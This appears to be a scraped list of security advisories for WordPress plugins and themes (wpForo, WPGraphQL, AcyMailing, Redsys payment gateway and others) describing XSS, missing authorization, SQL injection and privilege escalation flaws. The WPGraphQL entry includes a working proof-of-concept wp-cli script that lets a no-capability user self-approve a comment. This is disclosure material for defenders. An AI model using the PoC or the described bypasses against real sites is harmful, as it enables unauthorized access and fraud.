CVSS v3.1 |
| wpForo Forum 2.4.14 contains a missing capability check vulnerability that allows authenticated users to trigger bulk wpForo usergroup reassignment via the wpforo_synch_roles AJAX handler. Attackers access the usergroups admin page, accessible to any authenticated user, to obtain a nonce, then remap all wpForo usergroups to arbitrary WordPress roles. |
| wpForo Forum 2.4.14 contains a stored cross-site scripting vulnerability that allows script injection via forum URL data output into an inline script block using json_encode without the JSON_HEX_TAG flag. Attackers set a forum slug containing a closing script tag or unescaped single quote to break out of the JavaScript string context and execute arbitrary script in all visitors' browsers. |
| WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.
### Details
In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.
- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.
- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).
This means a non-moderator owner can submit status during update and transition moderation state.
### PoC
Tested in local wp-env (Docker) with WPGraphQL 2.9.1.
1. Start environment:
npm install
npm run wp-env start
2. Run this PoC:
```
npm run wp-env run cli -- wp eval '
add_role("no_caps","No Caps",[]);
$user_id = username_exists("poc_nocaps");
if ( ! $user_id ) {
$user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com");
}
$user = get_user_by("id",$user_id);
$user->set_role("no_caps");
$post_id = wp_insert_post([
"post_title" => "PoC post",
"post_status" => "publish",
"post_type" => "post",
"comment_status" => "open",
]);
$comment_id = wp_insert_comment([
"comment_post_ID" => $post_id,
"comment_content" => "pending comment",
"user_id" => $user_id,
"comment_author" => $user->display_name,
"comment_author_email" => $user->user_email,
"comment_approved" => "0",
]);
wp_set_current_user($user_id);
$result = graphql([
"query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
"variables" => [ "id" => (string)$comment_id ],
]);
echo wp_json_encode([
"role_caps" => array_keys(array_filter((array)$user->allcaps)),
"status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
"db_comment_approved" => get_comment($comment_id)->comment_approved ?? null,
"comment_id" => $comment_id
]);
'
```
3. Observe result:
- role_caps is empty (or no moderate_comments)
- mutation returns status: APPROVE
- DB value becomes comment_approved = 1
### Impact
This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content. |
| The Paid Membership Plugin, Ecommerce, User Registration Form, Login Form, User Profile & Restrict Content – ProfilePress plugin for WordPress is vulnerable to Missing Authorization in all versions up to, and including, 4.16.12. This is due to the 'process_checkout' function not properly enforcing the plan active status check when a 'change_plan_sub_id' parameter is provided. This makes it possible for authenticated attackers, with Subscriber-level access and above, to subscribe to inactive membership plans by supplying an arbitrary 'change_plan_sub_id' value in the checkout request. |
| The Vantage theme for WordPress is vulnerable to Stored Cross-Site Scripting via Gallery block text content in versions up to, and including, 1.20.32 due to insufficient output escaping in the gallery template. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. |
| Cross-Site Request Forgery (CSRF) vulnerability in Zaytech Smart Online Order for Clover allows Cross Site Request Forgery.This issue affects Smart Online Order for Clover: from n/a through 1.6.0. |
| The Prismatic plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'prismatic_encoded' pseudo-shortcode in all versions up to, and including, 3.7.3. This is due to insufficient input sanitization and output escaping on user-supplied attributes within the 'prismatic_decode' function. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page by submitting a comment containing a crafted 'prismatic_encoded' pseudo-shortcode. |
| Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in HashThemes Mini Ajax Cart for WooCommerce allows Stored XSS.This issue affects Mini Ajax Cart for WooCommerce: from n/a through 1.3.4. |
| Missing Authorization vulnerability in Plisio Accept Cryptocurrencies with Plisio allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Accept Cryptocurrencies with Plisio: from n/a through 2.0.5. |
| The Mail Mint WordPress plugin before 1.19.5 does not have authorization in one of its REST API endpoint, allowing unauthenticated users to call it and retrieve the email addresses of users on the blog |
| The RepairBuddy – Repair Shop CRM & Booking Plugin for WordPress plugin for WordPress is vulnerable to Insecure Direct Object Reference due to missing capability checks on the wc_upload_and_save_signature_handler function in all versions up to, and including, 4.1116. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary signatures to any order in the system, potentially modifying order metadata and triggering unauthorized status changes. |
| The User Language Switch plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.6.10 due to missing URL validation on the 'download_language()' function. This makes it possible for authenticated attackers, with Administrator-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. |
| The WP Docs plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wpdocs_options[icon_size]' parameter in all versions up to, and including, 2.2.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. |
| The Basic Google Maps Placemarks plugin for WordPress is vulnerable to authorization bypass in versions up to, and including, 1.10.7. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to modify stored map latitude and longitude options. |
| The WP YouTube Lyte plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'lyte' shortcode in all versions up to, and including, 1.7.29 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. |
| The Custom New User Notification plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's admin settings in all versions up to, and including, 1.2.0. This is due to insufficient input sanitization and output escaping on multiple settings fields including 'User Mail Subject', 'User From Name', 'User From Email', 'Admin Mail Subject', 'Admin From Name', and 'Admin From Email'. The settings are registered via register_setting() without sanitize callbacks, and the values retrieved via get_option() are echoed directly into HTML input value attributes without esc_attr(). This makes it possible for authenticated attackers, with Administrator-level access and above, to inject arbitrary web scripts in the plugin settings page that will execute whenever a user accesses that page. This could be used in multi-site installations where administrators of subsites could target super administrators. |
| The Payment Gateway for Redsys & WooCommerce Lite plugin for WordPress is vulnerable to Improper Verification of Cryptographic Signature in versions up to, and including, 7.0.0 due to successful_request() handlers calculating a local signature but not validating Ds_Signature from the request before accepting payment status across the Redsys, Bizum, and Google Pay gateway flows. This makes it possible for unauthenticated attackers to forge payment callback data and mark pending orders as paid when they know a valid order key and order amount, potentially allowing checkout completion and product or service fulfillment without a successful payment. |
| The AcyMailing plugin for WordPress is vulnerable to privilege escalation in all versions From 9.11.0 up to, and including, 10.8.1 due to a missing capability check on the `wp_ajax_acymailing_router` AJAX handler. This makes it possible for authenticated attackers, with Subscriber-level access and above, to access admin-only controllers (including configuration management), enable the autologin feature, create a malicious newsletter subscriber with an injected `cms_id` pointing to any WordPress user, and then use the autologin URL to authenticate as that user, including administrators. |
| The Accessibility Suite by Ability, Inc plugin for WordPress is vulnerable to SQL Injection via the 'scan_id' parameter in all versions up to, and including, 4.20. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. |
| The BetterDocs plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'betterdocs_feedback_form' shortcode in all versions up to, and including, 4.3.8. This is due to insufficient input sanitization and output escaping on user supplied shortcode attributes. This makes it possible for authenticated attackers, with contributor level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. |
